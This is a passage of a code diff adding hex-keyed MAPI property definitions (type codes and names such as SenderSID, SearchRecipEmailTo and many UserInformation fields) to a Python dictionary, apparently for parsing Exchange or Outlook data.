+        0x0e0b: (0x0102, None, None, 4, None, None, "ImmutableEntryId"),
+        0x0e2e: (0x0003, None, None, 4, None, None, "MessageIsHidden"),
+        0x0e33: (0x001f, None, None, 4, None, None, "OlcPopId"),
+        0x0e38: (0x0003, None, None, 4, None, None, "ReplFlags"),
+        0x0e40: (0x0102, None, None, 4, None, None, "SenderGuid"),
+        0x0e41: (0x0102, None, None, 4, None, None, "SentRepresentingGuid"),
+        0x0e42: (0x0102, None, None, 4, None, None, "OriginalSenderGuid"),
+        0x0e43: (0x0102, None, None, 4, None, None, "OriginalSentRepresentingGuid"),
+        0x0e44: (0x0102, None, None, 4, None, None, "ReadReceiptGuid"),
+        0x0e45: (0x0102, None, None, 4, None, None, "ReportGuid"),
+        0x0e46: (0x0102, None, None, 4, None, None, "OriginatorGuid"),
+        0x0e47: (0x0102, None, None, 4, None, None, "ReportDestinationGuid"),
+        0x0e48: (0x0102, None, None, 4, None, None, "OriginalAuthorGuid"),
+        0x0e49: (0x0102, None, None, 4, None, None, "ReceivedByGuid"),
+        0x0e4a: (0x0102, None, None, 4, None, None, "ReceivedRepresentingGuid"),
+        0x0e4b: (0x0102, None, None, 4, None, None, "CreatorGuid"),
+        0x0e4c: (0x0102, None, None, 4, None, None, "LastModifierGuid"),
+        0x0e4d: (0x0102, None, None, 4, None, None, "SenderSID"),
+        0x0e4e: (0x0102, None, None, 4, None, None, "SentRepresentingSID"),
+        0x0e4f: (0x0102, None, None, 4, None, None, "OriginalSenderSid"),
+        0x0e50: (0x0102, None, None, 4, None, None, "OriginalSentRepresentingSid"),
+        0x0e51: (0x0102, None, None, 4, None, None, "ReadReceiptSid"),
+        0x0e52: (0x0102, None, None, 4, None, None, "ReportSid"),
+        0x0e53: (0x0102, None, None, 4, None, None, "OriginatorSid"),
+        0x0e54: (0x0102, None, None, 4, None, None, "ReportDestinationSid"),
+        0x0e55: (0x0102, None, None, 4, None, None, "OriginalAuthorSid"),
+        0x0e56: (0x0102, None, None, 4, None, None, "ReceivedBySid"),
+        0x0e57: (0x0102, None, None, 4, None, None, "ReceivedRepresentingSid"),
+        0x0e58: (0x0102, None, None, 4, None, None, "CreatorSID"),
+        0x0e59: (0x0102, None, None, 4, None, None, "LastModifierSid"),
+        0x0e5a: (0x0102, None, None, 4, None, None, "RecipientCAI"),
+        0x0e5b: (0x0102, None, None, 4, None, None, "ConversationCreatorSID"),
+        0x0e5d: (0x000b, None, None, 4, None, None, "IsUserKeyDecryptPossible"),
+        0x0e5e: (0x0003, None, None, 4, None, None, "MaxIndices"),
+        0x0e5f: (0x0014, None, None, 4, None, None, "SourceFid"),
+        0x0e60: (0x0102, None, None, 4, None, None, "PFContactsGuid"),
+        0x0e61: (0x0003, None, None, 4, None, None, "UrlCompNamePostfix"),
+        0x0e62: (0x000b, None, None, 4, None, None, "URLCompNameSet"),
+        0x0e64: (0x0003, None, None, 4, None, None, "DeletedSubfolderCount"),
+        0x0e68: (0x0003, None, None, 4, None, None, "MaxCachedViews"),
+        0x0e6b: (0x001f, None, None, 4, None, None, "AdminNTSecurityDescriptorAsXML"),
+        0x0e6c: (0x001f, None, None, 4, None, None, "CreatorSidAsXML"),
+        0x0e6d: (0x001f, None, None, 4, None, None, "LastModifierSidAsXML"),
+        0x0e6e: (0x001f, None, None, 4, None, None, "SenderSIDAsXML"),
+        0x0e6f: (0x001f, None, None, 4, None, None, "SentRepresentingSidAsXML"),
+        0x0e70: (0x001f, None, None, 4, None, None, "OriginalSenderSIDAsXML"),
+        0x0e71: (0x001f, None, None, 4, None, None, "OriginalSentRepresentingSIDAsXML"),
+        0x0e72: (0x001f, None, None, 4, None, None, "ReadReceiptSIDAsXML"),
+        0x0e73: (0x001f, None, None, 4, None, None, "ReportSIDAsXML"),
+        0x0e74: (0x001f, None, None, 4, None, None, "OriginatorSidAsXML"),
+        0x0e75: (0x001f, None, None, 4, None, None, "ReportDestinationSIDAsXML"),
+        0x0e76: (0x001f, None, None, 4, None, None, "OriginalAuthorSIDAsXML"),
+        0x0e77: (0x001f, None, None, 4, None, None, "ReceivedBySIDAsXML"),
+        0x0e78: (0x001f, None, None, 4, None, None, "ReceivedRepersentingSIDAsXML"),
+        0x0e7a: (0x0102, None, None, 4, None, None, "MergeMidsetDeleted"),
+        0x0e7b: (0x0102, None, None, 4, None, None, "ReserveRangeOfIDs"),
+        0x0e97: (0x001f, None, None, 4, None, None, "AddrTo"),
+        0x0e98: (0x001f, None, None, 4, None, None, "AddrCc"),
+        0x0e9f: (0x101f, None, None, 4, None, None, "EntourageSentHistory"),
+        0x0ea2: (0x0003, None, None, 4, None, None, "ProofInProgress"),
+        0x0ea5: (0x001f, None, None, 4, None, None, "SearchAttachmentsOLK"),
+        0x0ea6: (0x001f, None, None, 4, None, None, "SearchRecipEmailTo"),
+        0x0ea7: (0x001f, None, None, 4, None, None, "SearchRecipEmailCc"),
+        0x0ea8: (0x001f, None, None, 4, None, None, "SearchRecipEmailBcc"),
+        0x0eaa: (0x0003, None, None, 4, None, None, "SFGAOFlags"),
+        0x0ece: (0x000b, None, None, 4, None, None, "SearchIsPartiallyIndexed"),
+        0x0ecf: (0x001f, None, None, 4, None, None, "SearchUniqueBody"),
+        0x0ed0: (0x0003, None, None, 4, None, None, "SearchErrorCode"),
+        0x0ed1: (0x0040, None, None, 4, None, None, "SearchReceivedTime"),
+        0x0ed2: (0x0003, None, None, 4, None, None, "SearchNumberOfTopRankedResults"),
+        0x0ed3: (0x0003, None, None, 4, None, None, "SearchControlFlags"),
+        0x0ed4: (0x001f, None, None, 4, None, None, "SearchRankingModel"),
+        0x0ed5: (0x0003, None, None, 4, None, None, "SearchMinimumNumberOfDateOrderedResults"),
+        0x0ed6: (0x001f, None, None, 4, None, None, "SearchSharePointOnlineSearchableProps"),
+        0x0ed7: (0x0002, None, None, 4, None, None, "SearchRelevanceRankedResults"),
+        0x0edd: (0x0102, None, None, 4, None, None, "MailboxSyncState"),
+        0x0f01: (0x0040, None, None, 4, None, None, "RenewTime"),
+        0x0f02: (0x0040, None, None, 4, None, None, "DeliveryOrRenewTime"),
+        0x0f03: (0x0102, None, None, 4, None, None, "ConversationThreadId"),
+        0x0f04: (0x0003, None, None, 4, None, None, "LikeCount"),
+        0x0f05: (0x0002, None, None, 4, None, None, "RichContentDeprecated"),
+        0x0f06: (0x0003, None, None, 4, None, None, "PeopleCentricConversationId"),
+        0x0f07: (0x0040, None, None, 4, None, None, "ReturnTime"),
+        0x0f08: (0x0040, None, None, 4, None, None, "LastAttachmentsProcessedTime"),
+        0x0f0a: (0x0040, None, None, 4, None, None, "LastActivityTime"),
+        0x100a: (0x0102, None, None, 4, None, None, "AlternateBestBody"),
+        0x100c: (0x0102, None, None, 4, None, None, "IsIntegJobCorruptions"),
+        0x100e: (0x0002, None, None, 4, None, None, "IsIntegJobPriority"),
+        0x100f: (0x0005, None, None, 4, None, None, "IsIntegJobTimeInServer"),
+        0x1017: (0x0102, None, None, 4, None, None, "AnnotationToken"),
+        0x1030: (0x001f, None, None, 4, None, None, "InternetApproved"),
+        0x1033: (0x001f, None, None, 4, None, None, "InternetFollowupTo"),
+        0x1036: (0x001f, None, None, 4, None, None, "InetNewsgroups"),
+        0x103d: (0x0102, None, None, 4, None, None, "PostReplyFolderEntries"),
+        0x1040: (0x001f, None, None, 4, None, None, "NNTPXRef"),
+        0x1084: (0x0003, None, None, 4, None, None, "Relevance"),
+        0x1092: (0x0003, None, None, 4, None, None, "FormatPT"),
+        0x10c0: (0x0102, None, None, 4, None, None, "SMTPTempTblData"),
+        0x10c1: (0x0003, None, None, 4, None, None, "SMTPTempTblData2"),
+        0x10c2: (0x0102, None, None, 4, None, None, "SMTPTempTblData3"),
+        0x10f0: (0x0102, None, None, 4, None, None, "IMAPCachedMsgSize"),
+        0x10f2: (0x000b, None, None, 4, None, None, "DisableFullFidelity"),
+        0x10f3: (0x001f, None, None, 4, None, None, "UrlCompName"),
+        0x10f5: (0x000b, None, None, 4, None, None, "AttrSystem"),
+        0x1204: (0x1002, None, None, 4, None, None, "PredictedActions"),
+        0x1205: (0x1002, None, None, 4, None, None, "GroupingActions"),
+        0x1206: (0x0003, None, None, 4, None, None, "PredictedActionsSummary"),
+        0x1207: (0x000b, None, None, 4, None, None, "IsClutter"),
+        0x120b: (0x0102, None, None, 4, None, None, "OriginalDeliveryFolderInfo"),
+        0x120c: (0x0102, None, None, 4, None, None, "ClutterFolderEntryIdWellKnown"),
+        0x120d: (0x0102, None, None, 4, None, None, "BirthdayCalendarFolderEntryIdWellKnown"),
+        0x120e: (0x0102, None, None, 4, None, None, "InferencePredictedClutterReasons"),
+        0x120f: (0x0102, None, None, 4, None, None, "InferencePredictedNotClutterReasons"),
+        0x1210: (0x0102, None, None, 4, None, None, "BookingStaffFolderEntryId"),
+        0x1211: (0x0102, None, None, 4, None, None, "BookingServicesFolderEntryId"),
+        0x1212: (0x0003, None, None, 4, None, None, "InferenceClassificationInternal"),
+        0x1213: (0x0003, None, None, 4, None, None, "InferenceClassification"),
+        0x1214: (0x0102, None, None, 4, None, None, "SchedulesFolderEntryId"),
+        0x1215: (0x0102, None, None, 4, None, None, "AllTaggedItemsFolderEntryId"),
+        0x1236: (0x0048, None, None, 4, None, None, "WellKnownFolderGuid"),
+        0x1237: (0x0003, None, None, 4, None, None, "RemoteFolderSyncStatus"),
+        0x1238: (0x0102, None, None, 4, None, None, "BookingCustomQuestionsFolderEntryId"),
+        0x300e: (0x000b, None, None, 4, None, None, "UserInformationAntispamBypassEnabled"),
+        0x300f: (0x001f, None, None, 4, None, None, "UserInformationArchiveDomain"),
+        0x3017: (0x0040, None, None, 4, None, None, "UserInformationBirthdate"),
+        0x3020: (0x001f, None, None, 4, None, None, "UserInformationCountryOrRegion"),
+        0x3021: (0x001f, None, None, 4, None, None, "UserInformationDefaultMailTip"),
+        0x3022: (0x000b, None, None, 4, None, None, "UserInformationDeliverToMailboxAndForward"),
+        0x3023: (0x101f, None, None, 4, None, None, "UserInformationDescription"),
+        0x3024: (0x0048, None, None, 4, None, None, "UserInformationDisabledArchiveGuid"),
+        0x3025: (0x000b, None, None, 4, None, None, "UserInformationDowngradeHighPriorityMessagesEnabled"),
+        0x3026: (0x000b, None, None, 4, None, None, "UserInformationECPEnabled"),
+        0x3027: (0x000b, None, None, 4, None, None, "UserInformationEmailAddressPolicyEnabled"),
+        0x3028: (0x000b, None, None, 4, None, None, "UserInformationEwsAllowEntourage"),
+        0x3029: (0x000b, None, None, 4, None, None, "UserInformationEwsAllowMacOutlook"),
+        0x302a: (0x000b, None, None, 4, None, None, "UserInformationEwsAllowOutlook"),
+        0x302b: (0x0003, None, None, 4, None, None, "UserInformationEwsApplicationAccessPolicy"),
+        0x302c: (0x0003, None, None, 4, None, None, "UserInformationEwsEnabled"),
+        0x302d: (0x101f, None, None, 4, None, None, "UserInformationEwsExceptions"),
+        0x302e: (0x101f, None, None, 4, None, None, "UserInformationEwsWellKnownApplicationAccessPolicies"),
+        0x302f: (0x0048, None, None, 4, None, None, "UserInformationExchangeGuid"),
+        0x3030: (0x0003, None, None, 4, None, None, "UserInformationExternalOofOptions"),
+        0x3031: (0x001f, None, None, 4, None, None, "UserInformationFirstName"),
+        0x3032: (0x001f, None, None, 4, None, None, "UserInformationForwardingSmtpAddress"),
+        0x3033: (0x001f, None, None, 4, None, None, "UserInformationGender"),
+        0x3034: (0x001f, None, None, 4, None, None, "UserInformationGenericForwardingAddress"),
+        0x3035: (0x001f, None, None, 4, None, None, "UserInformationGeoCoordinates"),
+        0x3036: (0x0003, None, None, 4, None, None, "UserInformationHABSeniorityIndex"),
+        0x3037: (0x000b, None, None, 4, None, None, "UserInformationHasActiveSyncDevicePartnership"),
+        0x3038: (0x000b, None, None, 4, None, None, "UserInformationHiddenFromAddressListsEnabled"),
+        0x3039: (0x000b, None, None, 4, None, None, "UserInformationHiddenFromAddressListsValue"),
+        0x303a: (0x001f, None, None, 4, None, None, "UserInformationHomePhone"),
+        0x303b: (0x000b, None, None, 4, None, None, "UserInformationImapEnabled"),
+        0x303c: (0x000b, None, None, 4, None, None, "UserInformationImapEnableExactRFC822Size"),
+        0x303d: (0x000b, None, None, 4, None, None, "UserInformationImapForceICalForCalendarRetrievalOption"),
+        0x303e: (0x0003, None, None, 4, None, None, "UserInformationImapMessagesRetrievalMimeFormat"),
+        0x303f: (0x0003, None, None, 4, None, None, "UserInformationImapProtocolLoggingEnabled"),
+        0x3040: (0x000b, None, None, 4, None, None, "UserInformationImapSuppressReadReceipt"),
+        0x3041: (0x000b, None, None, 4, None, None, "UserInformationImapUseProtocolDefaults"),
+        0x3042: (0x000b, None, None, 4, None, None, "UserInformationIncludeInGarbageCollection"),
+        0x3043: (0x001f, None, None, 4, None, None, "UserInformationInitials"),
+        0x3044: (0x101f, None, None, 4, None, None, "UserInformationInPlaceHolds"),
+        0x3045: (0x000b, None, None, 4, None, None, "UserInformationInternalOnly"),
+        0x3046: (0x001f, None, None, 4, None, None, "UserInformationInternalUsageLocation"),
+        0x3047: (0x0003, None, None, 4, None, None, "UserInformationInternetEncoding"),
+        0x3048: (0x000b, None, None, 4, None, None, "UserInformationIsCalculatedTargetAddress"),
+        0x3049: (0x000b, None, None, 4, None, None, "UserInformationIsExcludedFromServingHierarchy"),
+        0x304a: (0x000b, None, None, 4, None, None, "UserInformationIsHierarchyReady"),
+        0x304b: (0x000b, None, None, 4, None, None, "UserInformationIsInactiveMailbox"),
+        0x304c: (0x000b, None, None, 4, None, None, "UserInformationIsSoftDeletedByDisable"),
+        0x304d: (0x000b, None, None, 4, None, None, "UserInformationIsSoftDeletedByRemove"),
+        0x304e: (0x001f, None, None, 4, None, None, "UserInformationIssueWarningQuota"),
+        0x304f: (0x001f, None, None, 4, None, None, "UserInformationJournalArchiveAddress"),
+        0x3051: (0x0040, None, None, 4, None, None, "UserInformationLastExchangeChangedTime"),
+        0x3052: (0x001f, None, None, 4, None, None, "UserInformationLastName"),
+        0x3053: (0x0040, None, None, 4, None, None, "UserInformationLastAliasSyncSubmittedTime"),
+        0x3054: (0x000b, None, None, 4, None, None, "UserInformationLEOEnabled"),
+        0x3055: (0x1003, None, None, 4, None, None, "UserInformationLocaleID"),
+        0x3056: (0x0003, None, None, 4, None, None, "UserInformationLongitude"),
+        0x3057: (0x0003, None, None, 4, None, None, "UserInformationMacAttachmentFormat"),
+        0x3058: (0x0048, None, None, 4, None, None, "UserInformationMailboxContainerGuid"),
+        0x3059: (0x001f, None, None, 4, None, None, "UserInformationMailboxMoveBatchName"),
+        0x305a: (0x001f, None, None, 4, None, None, "UserInformationMailboxMoveRemoteHostName"),
+        0x305b: (0x0003, None, None, 4, None, None, "UserInformationMailboxMoveStatus"),
+        0x305c: (0x001f, None, None, 4, None, None, "UserInformationMailboxRelease"),
+        0x305d: (0x101f, None, None, 4, None, None, "UserInformationMailTipTranslations"),
+        0x305e: (0x000b, None, None, 4, None, None, "UserInformationMAPIBlockOutlookNonCachedMode"),
+        0x305f: (0x000b, None, None, 4, None, None, "UserInformationMAPIBlockOutlookRpcHttp"),
+        0x3060: (0x001f, None, None, 4, None, None, "UserInformationMAPIBlockOutlookVersions"),
+        0x3061: (0x0003, None, None, 4, None, None, "UserInformationMailboxStatus"),
+        0x3062: (0x000b, None, None, 4, None, None, "UserInformationMapiRecipient"),
+        0x3063: (0x0003, None, None, 4, None, None, "UserInformationMaxBlockedSenders"),
+        0x3064: (0x001f, None, None, 4, None, None, "UserInformationMaxReceiveSize"),
+        0x3065: (0x0003, None, None, 4, None, None, "UserInformationMaxSafeSenders"),
+        0x3066: (0x001f, None, None, 4, None, None, "UserInformationMaxSendSize"),
+        0x3067: (0x001f, None, None, 4, None, None, "UserInformationMemberName"),
+        0x3068: (0x0003, None, None, 4, None, None, "UserInformationMessageBodyFormat"),
+        0x3069: (0x0003, None, None, 4, None, None, "UserInformationMessageFormat"),
+        0x306a: (0x000b, None, None, 4, None, None, "UserInformationMessageTrackingReadStatusDisabled"),
+        0x306b: (0x0003, None, None, 4, None, None, "UserInformationMobileFeaturesEnabled"),
+        0x306c: (0x001f, None, None, 4, None, None, "UserInformationMobilePhone"),
+        0x306d: (0x0003, None, None, 4, None, None, "UserInformationModerationFlags"),
+        0x306e: (0x001f, None, None, 4, None, None, "UserInformationNotes"),
+        0x306f: (0x001f, None, None, 4, None, None, "UserInformationOccupation"),
+        0x3070: (0x000b, None, None, 4, None, None, "UserInformationOpenDomainRoutingDisabled"),
+        0x3071: (0x101f, None, None, 4, None, None, "UserInformationOtherHomePhone"),
+        0x3072: (0x101f, None, None, 4, None, None, "UserInformationOtherMobile"),
+        0x3073: (0x101f, None, None, 4, None, None, "UserInformationOtherTelephone"),
+        0x3074: (0x000b, None, None, 4, None, None, "UserInformationOWAEnabled"),
+        0x3075: (0x000b, None, None, 4, None, None, "UserInformationOWAforDevicesEnabled"),
+        0x3076: (0x001f, None, None, 4, None, None, "UserInformationPager"),
+        0x3077: (0x1003, None, None, 4, None, None, "UserInformationPersistedCapabilities"),
+        0x3078: (0x001f, None, None, 4, None, None, "UserInformationPhone"),
+        0x3079: (0x001f, None, None, 4, None, None, "UserInformationPhoneProviderId"),
+        0x307a: (0x000b, None, None, 4, None, None, "UserInformationPopEnabled"),
+        0x307b: (0x000b, None, None, 4, None, None, "UserInformationPopEnableExactRFC822Size"),
+        0x307c: (0x000b, None, None, 4, None, None, "UserInformationPopForceICalForCalendarRetrievalOption"),
+        0x307d: (0x0003, None, None, 4, None, None, "UserInformationPopMessagesRetrievalMimeFormat"),
+        0x307e: (0x0003, None, None, 4, None, None, "UserInformationPopProtocolLoggingEnabled"),
+        0x307f: (0x000b, None, None, 4, None, None, "UserInformationPopSuppressReadReceipt"),
+        0x3080: (0x000b, None, None, 4, None, None, "UserInformationPopUseProtocolDefaults"),
+        0x3081: (0x001f, None, None, 4, None, None, "UserInformationPostalCode"),
+        0x3082: (0x101f, None, None, 4, None, None, "UserInformationPostOfficeBox"),
+        0x3083: (0x0048, None, None, 4, None, None, "UserInformationPreviousExchangeGuid"),
+        0x3084: (0x0003, None, None, 4, None, None, "UserInformationPreviousRecipientTypeDetails"),
+        0x3085: (0x001f, None, None, 4, None, None, "UserInformationProhibitSendQuota"),
+        0x3086: (0x001f, None, None, 4, None, None, "UserInformationProhibitSendReceiveQuota"),
+        0x3087: (0x000b, None, None, 4, None, None, "UserInformationQueryBaseDNRestrictionEnabled"),
+        0x3088: (0x0003, None, None, 4, None, None, "UserInformationRecipientDisplayType"),
+        0x3089: (0x001f, None, None, 4, None, None, "UserInformationRecipientLimits"),
+        0x308a: (0x0003, None, None, 4, None, None, "UserInformationRecipientSoftDeletedStatus"),
+        0x308b: (0x001f, None, None, 4, None, None, "UserInformationRecoverableItemsQuota"),
+        0x308c: (0x001f, None, None, 4, None, None, "UserInformationRecoverableItemsWarningQuota"),
+        0x308d: (0x001f, None, None, 4, None, None, "UserInformationRegion"),
+        0x308e: (0x000b, None, None, 4, None, None, "UserInformationRemotePowerShellEnabled"),
+        0x308f: (0x0003, None, None, 4, None, None, "UserInformationRemoteRecipientType"),
+        0x3090: (0x000b, None, None, 4, None, None, "UserInformationRequireAllSendersAreAuthenticated"),
+        0x3091: (0x000b, None, None, 4, None, None, "UserInformationResetPasswordOnNextLogon"),
+        0x3092: (0x0014, None, None, 4, None, None, "UserInformationRetainDeletedItemsFor"),
+        0x3093: (0x000b, None, None, 4, None, None, "UserInformationRetainDeletedItemsUntilBackup"),
+        0x3094: (0x001f, None, None, 4, None, None, "UserInformationRulesQuota"),
+        0x3095: (0x000b, None, None, 4, None, None, "UserInformationShouldUseDefaultRetentionPolicy"),
+        0x3096: (0x001f, None, None, 4, None, None, "UserInformationSimpleDisplayName"),
+        0x3097: (0x000b, None, None, 4, None, None, "UserInformationSingleItemRecoveryEnabled"),
+        0x3098: (0x001f, None, None, 4, None, None, "UserInformationStateOrProvince"),
+        0x3099: (0x001f, None, None, 4, None, None, "UserInformationStreetAddress"),
+        0x309a: (0x000b, None, None, 4, None, None, "UserInformationSubscriberAccessEnabled"),
+        0x309b: (0x001f, None, None, 4, None, None, "UserInformationTextEncodedORAddress"),
+        0x309c: (0x101f, None, None, 4, None, None, "UserInformationTextMessagingState"),
+        0x309d: (0x001f, None, None, 4, None, None, "UserInformationTimezone"),
+        0x309e: (0x000b, None, None, 4, None, None, "UserInformationUCSImListMigrationCompleted"),
+        0x309f: (0x001f, None, None, 4, None, None, "UserInformationUpgradeDetails"),
+        0x30a0: (0x001f, None, None, 4, None, None, "UserInformationUpgradeMessage"),
+        0x30a1: (0x0003, None, None, 4, None, None, "UserInformationUpgradeRequest"),
+        0x30a2: (0x0003, None, None, 4, None, None, "UserInformationUpgradeStage"),
+        0x30a3: (0x0040, None, None, 4, None, None, "UserInformationUpgradeStageTimeStamp"),
+        0x30a4: (0x0003, None, None, 4, None, None, "UserInformationUpgradeStatus"),
+        0x30a5: (0x001f, None, None, 4, None, None, "UserInformationUsageLocation"),
+        0x30a6: (0x0003, None, None, 4, None, None, "UserInformationUseMapiRichTextFormat"),
+        0x30a7: (0x000b, None, None, 4, None, None, "UserInformationUsePreferMessageFormat"),
+        0x30a8: (0x000b, None, None, 4, None, None, "UserInformationUseUCCAuditConfig"),
+        0x30a9: (0x001f, None, None, 4, None, None, "UserInformationWebPage"),
+        0x30aa: (0x0040, None, None, 4, None, None, "UserInformationWhenMailboxCreated"),
+        0x30ab: (0x0040, None, None, 4, None, None, "UserInformationWhenSoftDeleted"),
+        0x30ac: (0x001f, None, None, 4, None, None, "UserInformationBirthdayPrecision"),
+        0x30ad: (0x001f, None, None, 4, None, None, "UserInformationNameVersion"),
+        0x30ae: (0x0040, None, None, 4, None, None, "UserInformationOptInTime"),
+        0x30af: (0x000b, None, None, 4, None, None, "UserInformationIsMigratedConsumerMailbox"),
+        0x30b0: (0x000b, None, None, 4, None, None, "UserInformationMigrationDryRun"),
+        0x30b1: (0x000b, None, None, 4, None, None, "UserInformationIsPremiumConsumerMailbox"),
+        0x30b2: (0x001f, None, None, 4, None, None, "UserInformationAlternateSupportEmailAddresses"),
+        0x30b3: (0x101f, None, None, 4, None, None, "UserInformationEmailAddresses"),
+        0x30b4: (0x000b, None, None, 4, None, None, "UserInformationHasSnackyAppData"),
+        0x30b5: (0x001f, None, None, 4, None, None, "UserInformationMailboxMoveTargetMDB"),
+        0x30b6: (0x001f, None, None, 4, None, None, "UserInformationMailboxMoveSourceMDB"),
+        0x30b7: (0x0003, None, None, 4, None, None, "UserInformationMailboxMoveFlags"),
+        0x30b8: (0x0040, None, None, 4, None, None, "UserInformationHydraLastSyncTimestamp"),
+        0x30b9: (0x0048, None, None, 4, None, None, "UserInformationHydraSyncStartIdentity"),
+        0x30ba: (0x0040, None, None, 4, None, None, "UserInformationHydraSyncStartTimestamp"),
+        0x30bb: (0x0002, None, None, 4, None, None, "UserInformationStatus"),
+        0x30bc: (0x0040, None, None, 4, None, None, "UserInformationDeletedOn"),
+        0x30bd: (0x000b, None, None, 4, None, None, "UserInformationMigrationInterruptionTest"),
+        0x30be: (0x0002, None, None, 4, None, None, "UserInformationLocatorSource"),
+        0x30bf: (0x000b, None, None, 4, None, None, "UserInformationMAPIEnabled"),
+        0x30c0: (0x0003, None, None, 4, None, None, "UserInformationOlcDatFlags"),
+        0x30c1: (0x0003, None, None, 4, None, None, "UserInformationOlcDat2Flags"),
+        0x30c2: (0x001f, None, None, 4, None, None, "UserInformationDefaultFromAddress"),
+        0x30c3: (0x101f, None, None, 4, None, None, "UserInformationNotManagedEmailAddresses"),
+        0x30c4: (0x0003, None, None, 4, None, None, "UserInformationLatitude"),
+        0x30c5: (0x101f, None, None, 4, None, None, "UserInformationConnectedAccounts"),
+        0x30c6: (0x0003, None, None, 4, None, None, "UserInformationAccountTrustLevel"),
+        0x30c7: (0x001f, None, None, 4, None, None, "UserInformationBlockReason"),
+        0x30c8: (0x000b, None, None, 4, None, None, "UserInformationHijackDetection"),
+        0x30c9: (0x000b, None, None, 4, None, None, "UserInformationHipChallengeApplicable"),
+        0x30ca: (0x000b, None, None, 4, None, None, "UserInformationIsBlocked"),
+        0x30cb: (0x000b, None, None, 4, None, None, "UserInformationIsSwitchUser"),
+        0x30cc: (0x000b, None, None, 4, None, None, "UserInformationIsToolsAccount"),
+        0x30cd: (0x0040, None, None, 4, None, None, "UserInformationLastBlockTime"),
+        0x30ce: (0x0003, None, None, 4, None, None, "UserInformationMaxDailyMessages"),
+        0x30cf: (0x000b, None, None, 4, None, None, "UserInformationReportToExternalSender"),
+        0x30d0: (0x0040, None, None, 4, None, None, "UserInformationWhenOlcMailboxCreated"),
+        0x30d1: (0x001f, None, None, 4, None, None, "UserInformationMailboxProvisioningConstraint"),
+        0x30d2: (0x101f, None, None, 4, None, None, "UserInformationMailboxProvisioningPreferences"),
+        0x30d3: (0x0014, None, None, 4, None, None, "UserInformationCID"),
+        0x30d4: (0x101f, None, None, 4, None, None, "UserInformationSharingAnonymousIdentities"),
+        0x30d5: (0x0102, None, None, 4, None, None, "UserInformationExchangeSecurityDescriptor"),
+        0x30d6: (0x000b, None, None, 4, None, None, "UserInformationMapiHttpEnabled"),
+        0x30d7: (0x000b, None, None, 4, None, None, "UserInformationMAPIBlockOutlookExternalConnectivity"),
+        0x30d8: (0x000b, None, None, 4, None, None, "UserInformationUniversalOutlookEnabled"),
+        0x30d9: (0x000b, None, None, 4, None, None, "UserInformationPopMessageDeleteEnabled"),
+        0x30da: (0x0003, None, None, 4, None, None, "UserInformationPrimaryMailboxSource"),
+        0x30db: (0x0002, None, None, 4, None, None, "UserInformationLocatorCacheHint"),
+        0x30dc: (0x0014, None, None, 4, None, None, "UserInformationNetID"),
+        0x30dd: (0x000b, None, None, 4, None, None, "UserInformationIsProsumerConsumerMailbox"),
+        0x30de: (0x101f, None, None, 4, None, None, "UserInformationProsumerEmailAddresses"),
+        0x30df: (0x101f, None, None, 4, None, None, "UserInformationProsumerMSAVerifiedEmailAddresses"),
+        0x30e0: (0x0048, None, None, 4, None, None, "UserInformationShardOwnerExchangeObjectId"),
+        0x30e1: (0x0102, None, None, 4, None, None, "UserInformationShardOwnerTenantPartitionHint"),
+        0x30e2: (0x001f, None, None, 4, None, None, "UserInformationShardProvisionedByProtocolType"),
+        0x30e3: (0x000b, None, None, 4, None, None, "UserInformationIsShadowMailboxProvisioningComplete"),
+        0x30e4: (0x001f, None, None, 4, None, None, "UserInformationShadowRemoteEmailAddress"),
+        0x30e5: (0x0003, None, None, 4, None, None, "UserInformationShadowScope"),
+        0x30e6: (0x001f, None, None, 4, None, None, "UserInformationShadowUserName"),
+        0x30e7: (0x0003, None, None, 4, None, None, "UserInformationShadowProvider"),
+        0x30e8: (0x000b, None, None, 4, None, None, "UserInformationIsShadowMailbox"),
+        0x30e9: (0x0003, None, None, 4, None, None, "UserInformationPersistedMservNameVersion"),
+        0x30ea: (0x0040, None, None, 4, None, None, "UserInformationLastPersistedMservNameVersionUpdateTime"),
+        0x30eb: (0x0014, None, None, 4, None, None, "UserInformationPremiumAccountOffers"),
+        0x30ec: (0x101f, None, None, 4, None, None, "UserInformationLegacyCustomDomainAddresses"),
+        0x30ed: (0x000b, None, None, 4, None, None, "UserInformationActiveSyncSuppressReadReceipt"),
+        0x30ee: (0x101f, None, None, 4, None, None, "UserInformationAcceptMessagesOnlyFrom"),
+        0x30ef: (0x101f, None, None, 4, None, None, "UserInformationAcceptMessagesOnlyFromBL"),
+        0x30f0: (0x101f, None, None, 4, None, None, "UserInformationAcceptMessagesOnlyFromDLMembers"),
+        0x30f1: (0x101f, None, None, 4, None, None, "UserInformationAcceptMessagesOnlyFromDLMembersBL"),
+        0x30f2: (0x001f, None, None, 4, None, None, "UserInformationActiveSyncMailboxPolicy"),
+        0x30f3: (0x000b, None, None, 4, None, None, "UserInformationActiveSyncMailboxPolicyIsDefaulted"),
+        0x30f4: (0x0003, None, None, 4, None, None, "UserInformationAddressBookFlags"),
+        0x30f5: (0x001f, None, None, 4, None, None, "UserInformationAddressBookPolicy"),
+        0x30f6: (0x101f, None, None, 4, None, None, "UserInformationAddressListMembership"),
+        0x30f7: (0x101f, None, None, 4, None, None, "UserInformationAdministrativeUnits"),
+        0x30f8: (0x101f, None, None, 4, None, None, "UserInformationAggregatedMailboxGuidsRaw"),
+        0x30f9: (0x001f, None, None, 4, None, None, "UserInformationAlias"),
+        0x30fa: (0x000b, None, None, 4, None, None, "UserInformationAllowAddGuests"),
+        0x30fb: (0x101f, None, None, 4, None, None, "UserInformationAllowedAttributesEffective"),
+        0x30fc: (0x0003, None, None, 4, None, None, "UserInformationAllowUMCallsFromNonUsers"),
+        0x30fd: (0x101f, None, None, 4, None, None, "UserInformationAltSecurityIdentities"),
+        0x30fe: (0x101f, None, None, 4, None, None, "UserInformationApprovalApplications"),
+        0x30ff: (0x001f, None, None, 4, None, None, "UserInformationArbitrationMailbox"),
+        0x3100: (0x001f, None, None, 4, None, None, "UserInformationArchiveDatabaseRaw"),
+        0x3101: (0x1102, None, None, 4, None, None, "UserInformationAttributeMetadata"),
+        0x3102: (0x0003, None, None, 4, None, None, "UserInformationAuditAdminFlags"),
+        0x3103: (0x000b, None, None, 4, None, None, "UserInformationAuditBypassEnabled"),
+        0x3104: (0x0003, None, None, 4, None, None, "UserInformationAuditDelegateAdminFlags"),
+        0x3105: (0x0003, None, None, 4, None, None, "UserInformationAuditDelegateFlags"),
+        0x3106: (0x000b, None, None, 4, None, None, "UserInformationAuditEnabled"),
+        0x3107: (0x0040, None, None, 4, None, None, "UserInformationAuditLastAdminAccess"),
